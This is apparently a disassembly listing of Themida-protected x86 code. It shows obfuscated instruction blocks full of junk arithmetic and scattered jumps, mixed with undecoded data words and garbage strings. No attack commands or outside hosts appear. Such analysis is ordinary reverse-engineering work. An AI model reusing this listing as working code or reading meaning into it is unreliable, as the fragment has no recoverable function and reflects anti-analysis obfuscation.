		db 29h
		dd 0C875EF1h, 1C895C24h, 0C1BD5524h, 0F70CD03Eh, 32CEE9DDh
		dd 0EC830000h, 241C8904h, 0FF9F02E9h, 243489FFh, 5250E689h
		dd 6F2837BAh, 0F9C28146h, 0F75D8106h, 50CA81DAh, 0E96DA552h
		dd 2E7Dh
; ---------------------------------------------------------------------------


loc_59AA34:				; CODE XREF: Themida_:0059E351j
		sub	esp, 4
		mov	[esp], edx
		push	430F36DEh
		jmp	loc_599B96
; ---------------------------------------------------------------------------


loc_59AA44:				; CODE XREF: Themida_:005A07C8j
		push	ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		push	74F6h
		mov	[esp], ecx
		push	edi
		mov	edi, 298A7F8Ah
		jmp	loc_594972
; ---------------------------------------------------------------------------


loc_59AA6C:				; CODE XREF: Themida_:005A44E7j
		pop	edi
		pop	edx
		not	ebx
		sub	ebx, 0ED610DE2h
		add	ebp, ebx
		pop	ebx
		xor	esi, ebp
		jmp	loc_5962BD
; ---------------------------------------------------------------------------


loc_59AA80:				; CODE XREF: Themida_:005A4805j
		push	dword ptr [esp]
		jmp	loc_5A0EED
; ---------------------------------------------------------------------------
		dd 712E181h, 0C1814C4Ah, 9A05AE3h, 3B4FC981h, 0E9817D47h
		dd 28F949C7h, 0C8BCA01h, 700FE924h, 14870000h, 0EE815C24h
		dd 1DB00986h, 0BD68C601h, 89000023h, 51BF243Ch,	811D505Dh
		dd 5FAC35C7h, 5FFE0100h, 0FFF427E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59AAD1:				; CODE XREF: Themida_:0059B8E8j
		mov	[esp], edx
		push	6A7B3ED5h
		pop	edx
		dec	edx
		push	ebx
		jmp	loc_5975A2
; ---------------------------------------------------------------------------


loc_59AAE1:				; CODE XREF: Themida_:0059FFCBj
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		push	7927h
		mov	[esp], ebp
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ebx
		push	ebx
		mov	ebx, esp
		push	ecx
		jmp	loc_59D1E5
; ---------------------------------------------------------------------------


loc_59AB1F:				; CODE XREF: Themida_:0059805Dj
		pop	esp
		mov	[esp], edi
		push	4
		push	dword ptr [esp]
		pop	edi
		push	eax
		jmp	loc_59D738
; ---------------------------------------------------------------------------
		dw 0E581h
		dd 6B761102h, 1628C581h, 0ED813DFDh, 1,	0E904EDC1h, 0B464h
		dd 88B15158h, 0E9BFC980h, 0FFFF8C3Ch, 1EF8166h,	0D11AE900h
		dd 15FFFFFh, 2434FFC1h,	4C48158h, 83000000h, 0C8704C1h
		dd 0BA525C24h, 76562D8h, 6505E942h, 7B10000h, 0E9C0D9F6h
		dd 7E9C006h, 0FFF5DDE9h, 241C89FFh, 7514E952h, 0C601FFFFh
		dd 8C61E958h, 0C6310000h, 8324048Bh, 0EEC104C4h, 9365E908h
		dd 0C870000h, 24248B24h, 2474FF57h, 243C8B04h, 4C481h
		dd 70E90000h
		db 0BCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59ABCB:				; CODE XREF: Themida_:005940B6j
		sub	ecx, ebx
		pop	ebx
		jmp	loc_5952C0
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 6BC38104h, 5543D110h, 2144CF68h,	0E5815D3Ah
		dd 2E8C4446h, 0FFD195E9h, 37868FFh, 0BDE90000h,	81FFFF91h
		dd 4C4h, 0B4C0E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59AC06:				; CODE XREF: Themida_:0059F2B0j
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	edx, eax
		jmp	loc_59B8D6
; ---------------------------------------------------------------------------


loc_59AC1C:				; CODE XREF: Themida_:005A1E4Cj
		pop	dword ptr [esp]
		jmp	loc_598179
; ---------------------------------------------------------------------------
aUsX		db 'UéÖ•',0
		align 2


loc_59AC2A:				; CODE XREF: Themida_:0059F8FBj
		shr	edx, 4
		jmp	loc_592BF4
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 4335C24h, 24043124h,	0FF78DBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59AC41:				; CODE XREF: Themida_:005A662Aj
		push	ebx
		push	edi
		mov	edi, 5E853DA5h
		push	eax
		mov	eax, 0E567D16h
		neg	eax
		not	eax
		or	eax, 1893512Bh
		push	ebx
		push	20581AA2h
		pop	ebx
		jmp	loc_5A3A5F
; ---------------------------------------------------------------------------


loc_59AC63:				; CODE XREF: Themida_:0059900Ej
		push	esi
		not	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, 36E138A6h
		shl	edx, 8
		neg	edx
		push	eax
		mov	eax, 2A831611h
		xor	edx, eax
		jmp	loc_5A235C
; ---------------------------------------------------------------------------
		dd 0FB1C281h, 0E9514965h, 1148h, 0E982B551h, 6BE3h, 0E9D0015Ah
		dd 43E5h, 1BD6F781h, 0FD097960h, 0E9243C8Bh, 0FFFFBEBCh
		dd 71CA815Bh, 0E953E028h, 52A3h, 0B4EE80h, 8AB5E9F0h, 0EBFFFFFh
		dd 0E97E0A2Dh, 0FFFF7DA2h, 32E9D931h, 0FFFFFF8Ah, 34FF2434h
		dd 0BAB5E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59ACDE:				; CODE XREF: Themida_:00596ED8j
		pop	ebp
		jmp	loc_59BDF9
; ---------------------------------------------------------------------------
		dd 2B951h, 59050000h, 142465Fh,	5F592DC8h, 83594246h, 0B3E904ECh
		db 0Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59ACFF:				; CODE XREF: Themida_:0059BC37j
		dec	ebp
		shr	ebp, 4
		jmp	loc_5998E6
; ---------------------------------------------------------------------------


loc_59AD08:				; CODE XREF: Themida_:005A0723j
		add	edx, 4
		jmp	loc_59E5B7
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4812414h, 4, 459C828h, 2CD8007Eh, 14E9527Eh
		db 6Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59AD2B:				; CODE XREF: Themida_:005A0730j
		or	dh, 84h
		push	cx
		push	eax
		mov	al, 53h
		mov	cl, al
		pop	eax
		xor	dh, cl
		pop	cx
		sub	cl, dh
		pop	edx
		mov	bl, cl
		mov	ecx, [esp]
		add	esp, 4
		xor	bl, ch
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5A589F
; ---------------------------------------------------------------------------
		db 5Ch
		dd 2C681h, 34330000h, 24343124h, 0E9243433h, 7B86h, 11B1B850h
		dd 0C1407688h, 0BD5502E8h, 423232Bh, 57E9E809h,	81FFFFCCh
		dd 8049E7F2h, 0FFEA814Fh, 2909A5C6h, 0FA295AD7h, 0A1EA815Fh
		dd 870BED2Ch, 0EA8745EAh, 0FF9735E9h, 50BD55FFh, 5137E542h
		dd 0FFC140E9h, 69E952FFh, 0C1000046h, 0D9F703E9h, 565EF181h
		dd 5EE90C37h
		db 0A0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59ADC3:				; CODE XREF: Themida_:0059668Ej
		pop	ebp
		push	ecx
		mov	ecx, 4EE931F6h
		not	ecx
		or	ecx, 2B244E74h
		jmp	loc_59EB3C
; ---------------------------------------------------------------------------
		db 0F7h
		dd 5C581D5h, 813BC822h,	0D211B8EDh, 4EC813Eh, 89000000h
		dd 0ECBA2414h, 1597B61h, 0EE015AD5h, 1EEE815Dh,	813EA431h
		dd 0FFE66BEEh, 0E9F301C3h, 2B53h
; ---------------------------------------------------------------------------


loc_59AE0C:				; CODE XREF: Themida_:005A4C67j
		or	esi, 66ED7EDCh
		xor	esi, 9F778E37h
		jmp	loc_5A35D3
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 4C281h, 69680000h, 8900006Bh, 0BF57241Ch, 49D42674h
		dd 4EC814Fh, 89000000h,	0BD552414h, 4FC4858h, 8C73E9h
		dd 45D5F700h, 0E9954D45h, 7FD7h
; ---------------------------------------------------------------------------


loc_59AE54:				; CODE XREF: Themida_:0059C3FCj
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_5A68F7
; ---------------------------------------------------------------------------


loc_59AE66:				; CODE XREF: Themida_:0059955Cj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		push	esi
		mov	esi, 4
		jmp	loc_597390
; ---------------------------------------------------------------------------
		dd 0E9241489h, 0FFFFD7B8h, 4C781h, 0BA520000h, 4, 0E95AD701h
		dd 0FFFFF4E0h
; ---------------------------------------------------------------------------


loc_59AEA8:				; CODE XREF: Themida_:005A2D58j
		add	ebx, 34B72714h
		add	ebx, 5C3D2740h
		sub	ebx, 5FD43B84h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ecx
		jmp	loc_5A1565
; ---------------------------------------------------------------------------
		db 5Ch
		dd 83242489h, 59042404h, 4C181h, 0E9810000h, 2,	5C240C87h
		dd 241C8966h, 0FFB1C5E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59AEE9:				; CODE XREF: Themida_:005A4BEDj
		pop	esp
		add	eax, 4
		add	eax, 4
		jmp	loc_5955BB
; ---------------------------------------------------------------------------
		db 89h
		dd 0F2E9243Ch, 5AFFFF9Eh, 66D82966h, 7BEFE951h,	0C231FFFFh
		dd 5324048Bh, 948FE954h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59AF16:				; CODE XREF: Themida_:0059C909j
		inc	esi
		jmp	loc_5A3D04
; ---------------------------------------------------------------------------
		dd 4C481h, 34FF0000h, 2434FF24h, 7A5E958h, 0FE580000h
		dd 3C0268CDh, 1C890000h, 0D578E924h, 0C681FFFFh, 4, 4EE81h
		dd 0FE90000h, 87FFFF87h, 0E9DD87EFh, 0FFFFE17Dh, 6A05F029h
		dd 8B70914Fh, 89562434h, 0B830E9E6h, 1C89FFFFh,	623F6824h
		dd 24890000h, 24048124h, 4, 0E92434FFh,	49FBh, 4C481h
		dd 0C3810000h, 4, 46E5E952h, 14890000h,	0D511E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59AF9E:				; CODE XREF: Themida_:00595BF5j
		xor	eax, 0C54CAB11h
		add	edi, eax
		pop	eax
		jmp	loc_597844
; ---------------------------------------------------------------------------
		db 57h
		dd 0F6F6855h, 555D363Dh, 5D241CF7h, 0F73C581h, 8951363Dh
		dd 8BCF89E9h, 0C481240Ch, 4, 0FFCB1EE9h, 4C581FFh, 0E9000000h
		dd 57Bh, 4A46EE81h, 0C8B6799h, 1A866824h, 14890000h, 74EEE924h
		dd 0F681FFFFh, 37C97BBDh, 0FFFFC681h, 0EC83FFFFh, 0EC8E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B006:				; CODE XREF: Themida_:00594F86j
		sub	esi, 46A571D0h
		jmp	loc_5A214C
; ---------------------------------------------------------------------------
		db 59h,	1, 0E9h
		dd 83242C8Bh, 0A6E904C4h, 56FFFFD4h, 5357E689h,	0CC4F20BBh
		dd 8905E94Fh, 1C8B0000h, 0F0E4E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B036:				; CODE XREF: Themida_:005A03C1j
		sub	ecx, edi
		pop	edi
		sub	ecx, 28D4A39h
		pop	edi
		jmp	loc_59D51E
; ---------------------------------------------------------------------------
		db 29h,	0F8h, 5Fh
		dd 3E2A68h, 24348900h, 24A268h,	241C8900h, 7F0F84BBh, 5357BE0Ch
		dd 0F3E918DDh, 0BF00001Ah, 733908AFh, 6672E9h, 4ABD6600h
		dd 0ED816669h, 816676C8h, 0E9721EE5h, 77C2h, 99D2E95Bh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B08A:				; CODE XREF: Themida_:005A5F46j
		add	edx, 10266F45h
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5A28BD
; ---------------------------------------------------------------------------
		db 81h
		dd 0E50E63E9h, 4BE95D76h, 1FFFFE5h, 0BE70E9C1h,	875E0000h
		dd 0E95C241Ch, 6DCFh, 42474FFh,	930AE95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B0C2:				; CODE XREF: Themida_:00596E03j
		shr	ebp, 6
		sub	ebp, 0C226D1A7h
		or	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_59C8B2
; ---------------------------------------------------------------------------
		db 52h
		dd 0E53AC2BAh, 2454015Eh, 24148B08h, 0C3AE9h
		db 0
; ---------------------------------------------------------------------------


loc_59B0ED:				; CODE XREF: Themida_:0059DF3Dj
		add	edx, 4
		jmp	loc_593D9D
; ---------------------------------------------------------------------------


loc_59B0F8:				; CODE XREF: Themida_:0059E1B8j
		shl	edi, 3
		jmp	loc_593885
; ---------------------------------------------------------------------------


loc_59B100:				; CODE XREF: Themida_:00596D96j
		add	esi, edx
		pop	edx
		push	edx
		mov	edx, esi
		mov	edi, edx
		pop	edx
		pop	esi
		add	[esp+4], edi
		pop	edi
		mov	eax, [esp]
		push	45D6h
		mov	[esp], esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		add	esi, 348D4DEEh
		add	esi, edi
		sub	esi, 348D4DEEh
		pop	edi
		push	ebp
		jmp	loc_592794
; ---------------------------------------------------------------------------


loc_59B137:				; CODE XREF: Themida_:00593EF4j
		xor	edi, eax
		pop	eax
		mov	eax, edi
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4C74581Fh
		sub	eax, ecx
		jmp	loc_59E5BD
; ---------------------------------------------------------------------------
aSNs1ZHI	db 'º˜¼™1ÓZ)Ø[hÆI',0
		align 2
		dw 3C89h
		dd 6CDEBF24h, 0F75762D7h, 475F2414h, 0FF9F49E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59B175:				; CODE XREF: Themida_:00595663j
		xor	edx, 13A44415h
		xor	ebp, edx
		jmp	loc_5950D3
; ---------------------------------------------------------------------------
		dw 2C8Bh
		dd 4C48124h, 57000000h,	550BB53h, 27E92DA3h, 81FFFFBBh
		dd 6C08246Ch, 0E978B13Fh, 65B4h, 717F1DB9h, 81E9D141h
		dd 0F374E4C9h, 0F1C18161h, 0E9631C46h, 0FFFF8F70h
; ---------------------------------------------------------------------------


loc_59B1BC:				; CODE XREF: Themida_:005A1908j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	dword ptr [esp+4], 2CA70103h
		push	ecx
		mov	ecx, 33A417DCh
		add	[esp+8], ecx
		pop	ecx
		add	[esp+4], ecx
		jmp	loc_598784
; ---------------------------------------------------------------------------
		db 81h
		dd 0CA0A10C6h, 1DDDE939h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B1EA:				; CODE XREF: Themida_:0059E6E0j
		add	edx, eax
		pop	eax
		push	2013h
		jmp	loc_597934
; ---------------------------------------------------------------------------


loc_59B1F7:				; CODE XREF: Themida_:00592073j
		add	dword ptr [esp+4], 0FE63150h
		add	[esp+4], ebp
		sub	dword ptr [esp+4], 0FE63150h
		jmp	loc_5A2415
; ---------------------------------------------------------------------------


loc_59B210:				; CODE XREF: Themida_:00599C42j
		sub	edx, 1686247Ah
		and	eax, edx
		mov	edx, [esp]
		jmp	loc_59832C
; ---------------------------------------------------------------------------


loc_59B220:				; CODE XREF: Themida_:005A19A7j
		add	eax, 9F14C71h
		add	eax, 0DCE303Dh
		add	eax, ebx
		sub	eax, 0DCE303Dh
		sub	eax, 9F14C71h
		sub	eax, 5DF76FBEh
		push	ebp
		jmp	loc_5A6691
; ---------------------------------------------------------------------------
		db 1, 0F1h, 5Eh
		dd 6D1268h, 24348900h, 2BEh, 64B85000h,	0D111A36Ch, 2B5D05E8h
		dd 0E0C128C2h, 2DD8F706h, 6B363E27h, 601B7705h,	0D3E9813Bh
		dd 17C260Fh, 0D3C181C1h, 0E97C260Fh, 0A0Ah, 24048F54h
		dd 880AE955h, 0D0280000h, 852C0804h, 5A2434FFh,	0FFB566E9h
		dd 2CC368FFh, 4890000h,	0B578B424h, 4EC81CEh, 89000000h
		dd 0E1B42404h, 58E528h,	0CCFCE9E5h, 0C681FFFFh,	2, 0FFCCF9E9h
		dd 2EFC1FFh, 3E0AE9h, 81EED100h, 223BDCCEh, 19C68156h
		dd 218AD12Dh, 0BE565EF3h, 6C571A7Eh, 5317EB81h,	0F3012CAEh
		dd 5317C381h, 555E2CAEh, 24048153h, 5206D26h, 26ED815Dh
		dd 8905206Dh, 2434FFE9h, 0E789575Dh, 4C781h, 0C7810000h
		dd 4, 0E9243C87h, 1F4Bh, 1740E781h, 0B8504340h,	481E31B1h
		dd 1823DB0Dh, 2DD0F71Ah, 7A37ADDFh, 0E958C731h,	0FFFF86F4h
		dd 0B151F368h, 24148B62h, 4C481h, 0D7290000h, 8124148Bh
		dd 4C4h, 0E5E95B00h, 30000047h,	56BEE9C3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B366:				; CODE XREF: Themida_:005A0888j
		push	edi
		push	edx
		mov	edx, 6830093Bh
		not	edx
		inc	edx
		add	edx, 82463E2Fh
		jmp	loc_592169
; ---------------------------------------------------------------------------
		dd offset dword_5EF868
		align 10h
		dd 66241489h, 396EE953h, 34890000h, 68EBE24h, 0EE810379h
		dd 593C5770h, 0E9E68956h, 0AA00h
; ---------------------------------------------------------------------------


loc_59B3A0:				; CODE XREF: Themida_:00592200j
		xchg	eax, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_597443
; ---------------------------------------------------------------------------
		dw 4CBDh
		dd 0E9724569h, 0FFFFCD8Fh, 4BB535Dh, 81000000h,	0A10E53EDh
		dd 59ED812Dh, 168B445h,	59C581DDh, 8168B445h, 0A10E53C5h
		dd 0ED835B2Dh, 242C8702h, 0C89665Ch, 74FF6624h,	8B660224h
		dd 0C483240Ch, 48F6602h, 66516624h, 0E92414F7h,	0FFFFD848h
		dd 0B4E98DB2h, 81000021h, 499617F5h, 77C3E956h,	0C8B0000h
		dd 97A4E924h, 0F5000000h, 80DD285Ah, 45BB0EDh, 0B7535135h
		dd 0C0DFF6FAh, 0EFD005EFh, 0EF80EFD0h, 5BFD881Ah, 0E828FE2Ch
		dd 4CA6E9h, 243C8900h, 36534DBFh, 247C2920h, 4815F04h
		dd 23180424h, 64E9527Ch, 53FFFFC7h, 6544CBBh, 0BEF38156h
		dd 8139721Ah, 0BC0051CBh, 45CB8120h, 8154F562h,	9203F5EBh
		dd 69C3816Ch, 1FE74C2h,	0FA015BDAh, 2D6BEA81h, 12E911E0h
		dd 66FFFF93h, 68240C8Bh, 11CEh,	0E9240489h, 0FFFFE82Ch
; ---------------------------------------------------------------------------


loc_59B4A0:				; CODE XREF: Themida_:0059BF04j
		not	dh
		not	dh
		push	5ABFh
		jmp	loc_595426
; ---------------------------------------------------------------------------
		dw 0A568h
		dd 8900006Dh, 8B542414h, 0C4812414h, 4,	39FCE9h, 0A9E95900h
		dd 81000042h, 4C4h, 0AFD6800h, 34890000h, 81E68924h, 4C6h
		dd 13346800h, 0C890000h, 105E924h, 93B40000h, 0C4FED4F6h
		dd 2B43E9h, 8BF02900h, 0C4832434h, 0FCBD5504h, 90FD704h
		dd 91B4E9E8h, 4C290000h, 81590824h, 0F704246Ch,	8B52CB58h
		dd 0C2E92434h, 58FFFF9Fh, 5304C483h, 0FFCF19E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59B52D:				; CODE XREF: Themida_:0059A0CCj
		mov	edx, [esp]
		add	esp, 4
		shl	ebp, 2
		push	ebx
		jmp	loc_598CC6
; ---------------------------------------------------------------------------
		dd 0E2C095B2h, 7DCA8002h, 8853F280h, 24148BD3h,	4C481h
		dd 0E0E90000h, 8700008Ah, 685C242Ch, 3230h, 53241489h
		dd 15545DBBh, 2444817Ah, 4F51B404h, 3AD8E91Bh, 0D3290000h
		dd 531E9h, 0FBE94800h, 89FFFFF3h, 0FA0158C7h, 5ABE565Fh
		dd 5760EC13h, 0EB1FEEBFh, 27C7815Eh, 810EC85Fh,	4ECh, 5F6E900h
		dd 0D8F70000h, 23F60540h, 0C589492Dh, 0CFC28158h, 0E952CC53h
		dd 0FFFFA81Dh, 0E908E280h, 1F92h, 0C15FF889h, 0AF6806E0h
		dd 8900002Bh, 0CCBB241Ch, 8150842Bh, 62294EEBh,	0FFD829CFh
		dd 835B2434h, 0C62904C4h, 5724048Bh, 87E95F54h,	550000AEh
		dd 5D9CE950h, 74FF0000h, 90E90424h, 55000012h, 0C528E957h
		dd 86BEFFFFh, 0C13A9C78h, 0BD5508EEh, 30B204A0h, 446EF581h
		dd 0F75542D0h, 0E95D241Ch, 7E63h, 0C1BFEB81h, 0D83145A7h
		dd 58C1895Bh, 0FA68D1F7h, 89000077h, 6E92414h, 8900001Eh
		dd 0B0FE9E3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B64A:				; CODE XREF: Themida_:005921DFj
		jmp	loc_591F70
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0D6F705E6h, 0E8BD554Eh, 0F7356C4Ah, 81D5F7DDh, 0F32B34C5h
		dd 26ED8118h, 0F776D42Ch, 1AC581D5h, 31E64DBAh,	0F3015DEEh
		dd 81595A5Eh, 9049C2EBh, 0C6F3E912h, 0C89FFFFh,	6C66B924h
		dd 0C88969F1h, 958DE9h,	0E6E95A00h, 58FFFFB9h, 806FE9h
		dd 68CAE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B6A6:				; CODE XREF: Themida_:0059BDBBj
		mov	[esp], edx
		mov	edx, 2DAE5CFDh
		add	ecx, 7DFB1FC9h
		sub	ecx, 686B4439h
		sub	ecx, 19E4559Ch
		add	ecx, edx
		add	ecx, 19E4559Ch
		add	ecx, 686B4439h
		jmp	loc_59E7D8
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 4EC8100h, 89000000h, 0E389241Ch, 3542E9h, 4C28100h
		dd 50000000h, 4B8h, 1BEA8100h, 11C0626h, 1BC281C2h, 581C0626h
		dd 0E9241487h, 0FFFFF647h
; ---------------------------------------------------------------------------


loc_59B70C:				; CODE XREF: Themida_:00597AA3j
		xor	ebx, 4F7D443Ah
		inc	ebx
		jmp	loc_5A0B12
; ---------------------------------------------------------------------------


loc_59B718:				; CODE XREF: Themida_:00597194j
		pop	esi
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_599397
; ---------------------------------------------------------------------------
		db 1
aUs_0		db 'îéÄ>',0
		align 2
		dw 4B9h
		dd 0E9000000h, 0FFFFD111h, 0FF04C483h, 1C8B2434h, 4C48324h
		dd 4C481h, 0F6E90000h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B74F:				; CODE XREF: Themida_:005925F2j
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 3FE07D08h
		xor	edx, 627100E6h
		mov	esi, edx
		pop	edx
		jmp	loc_59E4BB
; ---------------------------------------------------------------------------


loc_59B771:				; CODE XREF: Themida_:0059400Fj
		and	edi, ebp
		jmp	loc_5A0E5F
; ---------------------------------------------------------------------------
		dd 0E188D488h, 0E9CC8858h, 0FFFF6F38h, 66241489h, 0C3E9FA89h
		dd 5BFFFF70h, 8B24048Fh, 74012424h, 0E95E0424h,	6C0Dh
		dd 0F08FE945h, 0C581FFFFh, 188B168Dh, 151DF581h, 0E5C110A4h
		dd 6C76E908h, 0CDB80000h, 50221726h, 58241CF7h,	0FFCD8DE9h
		dd 11CE81FFh, 0F745FD6Ch, 0FFEE83DEh, 2234EE81h, 0C6812396h
		dd 0A87401A6h, 0FFA975E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59B7E5:				; CODE XREF: Themida_:00593B47j
		pop	esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 56CC23DCh
		push	ecx
		mov	ecx, 75E27A73h
		xor	ecx, 44127BB0h
		sub	ecx, 4EC63B78h
		jmp	loc_5A637D
; ---------------------------------------------------------------------------
		db 89h
		dd 0C6815FF8h, 6F263029h, 32BAEE81h, 0C601436Fh, 32BAC681h
		dd 0EE81436Fh, 6F263029h, 5724048Bh, 0C781E789h, 4, 0A54AE956h
		dd 0C3810000h, 4, 180668h, 243C8900h, 0FFA108E9h, 0EC8340FFh
		dd 0B429E904h, 0E95F0000h, 0FFFF94EEh
; ---------------------------------------------------------------------------


loc_59B864:				; CODE XREF: Themida_:005A4395j
		xor	edi, 17045C82h
		or	edi, 49A4053Ah
		or	edi, 17534EAEh
		push	esi
		mov	esi, 57992556h
		jmp	loc_59D716
; ---------------------------------------------------------------------------


loc_59B881:				; CODE XREF: Themida_:0059C226j
		push	eax
		jmp	loc_5A2800
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481240Ch, 4, 0F9A6857h, 79E9737Eh
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B89B:				; CODE XREF: Themida_:0059E50Cj
		add	esi, eax
		pop	eax
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_5A5774
; ---------------------------------------------------------------------------


loc_59B8AC:				; CODE XREF: Themida_:0059250Ej
		push	ebx
		jmp	loc_59CA38
; ---------------------------------------------------------------------------
		dw 489h
		dd 2474FF24h, 48F5804h,	24248B24h, 0C8BE0F66h, 0E9h, 55676800h
		dd 0C890000h, 266CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59B8D6:				; CODE XREF: Themida_:0059AC17j
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	26DEh
		mov	[esp], ecx
		push	4DB3h
		jmp	loc_59AAD1
; ---------------------------------------------------------------------------


loc_59B8ED:				; CODE XREF: Themida_:005A4E78j
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 301865E6h
		and	esi, edi
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		jmp	loc_59598E
; ---------------------------------------------------------------------------


loc_59B91E:				; CODE XREF: Themida_:0059F8AFj
		xchg	ecx, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	edx
		jmp	loc_592231
; ---------------------------------------------------------------------------
aYh		db 'YhÌ}',0
		align 2
		dw 489h
		dd 5E08924h, 4,	405h, 24048700h, 24248Bh, 24048BC3h, 4C481h
		dd 0C3800000h, 0CEF9E9B6h, 0DDF7FFFFh, 5533C581h, 0EE29DED7h
		dd 9186E95Dh, 66B90000h, 12DF70Bh, 0CE73E9C8h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59B97A:				; CODE XREF: Themida_:00595421j
		mov	edi, 73FB7B02h
		push	ebp
		push	edi
		mov	edi, 69D75254h
		jmp	loc_595CB9
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483241Ch, 0C1B85004h, 311E8F23h, 0D6E958C7h, 56FFFF68h
		dd 2434FF54h, 0E789575Eh, 4C781h, 0C7810000h, 4, 0FF8D1BE9h
		dd 58C521FFh, 0A2F0E9h
		db 0
; ---------------------------------------------------------------------------


loc_59B9C1:				; CODE XREF: Themida_:00599F36j
		mov	edi, [esp]
		add	esp, 4
		xor	ecx, [esp]
		jmp	loc_59215E
; ---------------------------------------------------------------------------
		dw 481h
		dd 424h, 240C8B00h, 8304C483h, 0C7E904ECh, 89FFFF84h, 26E92404h
		dd 81FFFFA4h, 4C2h, 4C28300h, 6FEDE9h, 19EB8000h, 0A584E9h
		dd 9AF68000h, 0F603EEC0h, 598FE9DEh, 2C8B0000h,	4C48124h
		dd 89000000h, 0C9BAE9DAh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59BA22:				; CODE XREF: Themida_:005A16ADj
		add	ebp, 2F387C21h
		push	edi
		mov	edi, 555F12CAh
		and	ebp, edi
		pop	edi
		xor	ebp, 67356E87h
		mov	edi, ebp
		jmp	loc_5A668B
; ---------------------------------------------------------------------------


loc_59BA3E:				; CODE XREF: Themida_:0059FB0Dj
		pop	esp
		mov	[esp], edx
		push	2C2Eh
		mov	[esp], esp
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	edx
		push	esi
		mov	esi, esp
		jmp	loc_5A4B02
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 4C7h, 60776800h, 0C890000h, 27BBE924h, 0E6890000h
		dd 4C681h, 8DE90000h, 0FFFFFF90h, 68582434h, 5200h, 89241489h
		dd 4EC83E2h, 0E9241C89h, 0FFFFA46Dh
; ---------------------------------------------------------------------------


loc_59BA9C:				; CODE XREF: Themida_:005A4DFCj
		add	edx, 3EFE6B22h
		jmp	loc_5A5A5E
; ---------------------------------------------------------------------------
		db 5Bh
		dd 281DE943h, 0E95A0000h, 7357h, 4BFh, 5FFE8900h, 685EF101h
		dd 52A4h, 0FF240C89h, 8B042474h, 0C483240Ch, 24048F04h
		dd 4C4815Ch, 0F000000h,	8E68C8B6h, 89000078h, 8B54241Ch
		dd 0C481241Ch, 4, 75BE5650h, 0E95B3329h, 0FFFFD041h, 4C481h
		dd 0C9E90000h, 80FFFF71h, 0E7C0B7CFh, 77C78008h, 305BF928h
		dd 240C8BCAh, 0FFE781E9h, 0CFE95FFFh
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


